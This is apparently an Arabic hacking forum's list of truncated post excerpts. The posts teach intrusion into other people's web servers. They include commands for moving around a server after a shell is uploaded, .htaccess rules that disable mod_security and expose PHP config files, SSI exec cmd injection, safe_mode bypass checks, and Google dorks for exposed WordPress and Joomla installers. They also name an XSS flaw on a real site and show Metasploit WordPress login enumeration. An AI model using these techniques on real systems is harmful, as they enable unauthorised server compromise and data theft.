السلام عليكم ورحمة الله وبركاتة
سلام يارجالة اخباركم ايه ؟
اليوم بنتكلم عن البحث عن الثغرات في المتغيرات الديناميكية وكلنا نعرف انه لغة بي اتش بي مهمة في الاختراق كثير واكتشاف الثغرات بشكل كبير لنة المخترق يعتمد على ثغره ليخترق موقع معين , ونعرف انه سكربتات معروفة مبرمجة بل بي اتش بي...
السلام عليكم ورحمة الله وبركاتة
كيف حالكم اخواني اعضاء العناكب الاحترافيه ؟
" vb spiders I'm Back Again"
Grt'z : Cyber Code & Black Hat Team
# ماهو الـ Pentreation test #
أولاً معناها بالعربية (اختبار الأختراق) والبعض يطلق عليها مصطلح عربي وهو
"المسح الأمني"
طبعاً كل شخص قادر يعمل مسح...
السلام عليكم ورحمة الله وبركاتة
كيف الحال ؟
بعد رفع الشل على السيرفر نفسه ..
البعض يختصر السيرفر ولما يحاول يخش على مجلد الاكنكلود ..
يطلع له جدار ناري وهنا يقول كيف التخطي :harhar1:
المطلوب : شل بيرل على السيرفر
نفذ
ls -la /etc/valiases/rapschool.net
غير رابط الموقع الى الهدف
الواضح...
السلام عليكم ورحمة الله وبركاتة
كيف الحال ؟
[ شعب العناكب نرجع لكم بموضوع ان شاء الله قد يكون يفيدكم ]
Options FollowSymLinks MultiViews Indexes ExecCGI
Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php
Options All...
السلام عليكم ورحمة الله وبركاتة
تم اكتشاف ثغره في موقع هكر كبير واعتقد الكل يعرفة
www.1923turk.com
واغلب لشباب يعرفونة الثغره xss ,,
هنا موجودة
http://www.1923turk.com/izle/dadaslar-ozel-harekat/dadaslar-video_9bc1886ef.html
انزلو للصندوق وحطة كود التحقق من الثغره : )
وشفت واحد حاط اندكسة...
السلام عليكم ورحمة الله وبركاتة
الشرح عباره عن اساسيات ويحتاج تركيز
الشرح حخليه كذا على اليمين هههههه
الان لما تحاول تخترق موقع ولم تجد فيه ثغره
ماذا نفعل سنذهب لنستخرج عنوان السيرفر
عبر شاشه الدوس ومن ثما ننفذ الامر التالي
ping www.target.com
روح للموقع التالي http://www.bing.com وضع...
السلام عليكم ورحمة الله وبركاتة
كيف الاحوال ؟
صوره من الترخيص
مميزات البرنامج :
Audit your website security with Acunetix Web Security Scanner. Acunetix WVS automatically checks your web applications for SQL Injection, XSS & other web vulnerabilities. Website security is possibly today's...
السلام عليكم ورحمة الله وبركاتة
كيف الحال ؟
الموضوع محتاج فقط كاسه شاي
دورك بسيط : inurl:bin/Cklb/
ملاحضة : الموضوع ولفكرة مقتبسة من موقع اجنبي #
اكواد ممكن ان تستعملها
<!--#echo var="DATE_LOCAL" -->
Will display the Date
<!--#exec cmd="whoami"-->
Will show which user is running on the...
السلام عليكم ورحمة الله وبركاتة
كيف حال اعضاء العناكب
اتركم مع الثغرة
موفقين خير #
-------------------------------------------------------------------
Author : CyberCode Khorasan [0xCCBF]
Thanks to : All Khorasan CyberArmy Member (Special to: Cep Engking, JinCorn, An0nym0uZ-17...
السلام عليكم ورحمة الله وبركاتة
الله اكبر
نعتذر عن قطعتنا الاخيرة باذن نرجع لكم بشيء جديد وفريد من نوعة
كلنا نعلم ان السيرفرات الخاصة اختراقها شبه متوسط او مستحيل ,
بعض السيرفرات ماتاخذ من داتاسنتر تاخذ من استضافه مباشره ,
فعشان هيك قررت اسوي الموضوع لاوصل الفكرة وافيد اخواني ’
الهدف...
السلام عليكم ورحمه الله وبركاته
السلام والصلاه على سيدنا محمد
سنشرح اليوم ثغره فريدة من نوعهآ ومعروفها وافادتني في سيرفرات كثيرة .
ان شاء الله يكون الشرح سهل جدا ..
الملف المصاب
<?php
$school = $_GET['love'];
$ip = getenv('REMOTE_ADDR');
$error = fopen('vbspiders.php','a')...
السلام عليكم ورحمه الله وبركاته
اداه من برمجة المبرمج : Damane2011 ..
الاداه تختص في فحص ملفات الموقع من الشلات ولملفات المضغوطه + لوحة التحكم ..
في حال انك تحصل على الوحة تقدر تجرب مثلا :
Root < يوزر وباس
Admin < يوزر وباس
وفي حال ان لقيت مثلا ملف Zip هنا انت ومخك حاول تتصل في...
آلسلآم عليكم ورحمه الله وبركاته
بعد القطعة الطويلة نرجع بدرس جديد بآذن آلله ,
أول شيء آعمل مجلد بآسم [ Hamad ] ,
نفذ الامر
Mkdir Hamad
بعد ذالك نستخرج يوزر الموقع المستهدف ..
ls -la /etc/valiases/hamad.com
غير الرابط الى الموقع المستهدف بعد ذالك مثلا اليوزر
Hamad...
السلام عليكم ورحمه الله وبركاته
.
مانطرح في مكان حبيت انزله لكم ,
سهل جدا ..
http://www.metasploit.com/modules/auxiliary/scanner/http/wordpress_login_enum
msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set RHOSTS [TARGET HOST RANGE]...
السلام عليكم ورحمه الله وبركاته
بعض طرق تخطي السيف مود ^_^
ممكن تكون قديمه ولكن للافاده ..
.htaccess
<IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>
ini.php
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir")...
السلام عليكم ورحمه الله وبركاته
,
سوي هاتكس وحط التالي
Headename vbspiders.txt
غير vbspiders الى اسم الكونفق ..
وان شاء الله يستعرض بدون مشاكل ..
اخوكم حمد
السلام عليكم ورحمه الله وبركاته
عندي دوركين لضهار مواقع مصابه بملف الانستول ..
من اكتشافي
الاول
inurl:/wordpress/wp-admin/install.php
الثاني
inurl:/joomla/installation/index.php
Demo Wordpress
http://www.alexandre-nicolau.com/wordpress/wp-admin/install.php...
آلسلآم عليكم ورحمه الله وبركآته
آخبآركم ان شاء الله بخير ؟
سويتلكم شرح بسيط ..
المده : 7 دقائق
مقدم : Injection
لتحميل الشرح :
ولتحميل الاداه المستخدم :
,,
آرجو عند النقل ذكر المصدر جميع الحقوق محفوظه لشبكه العناكب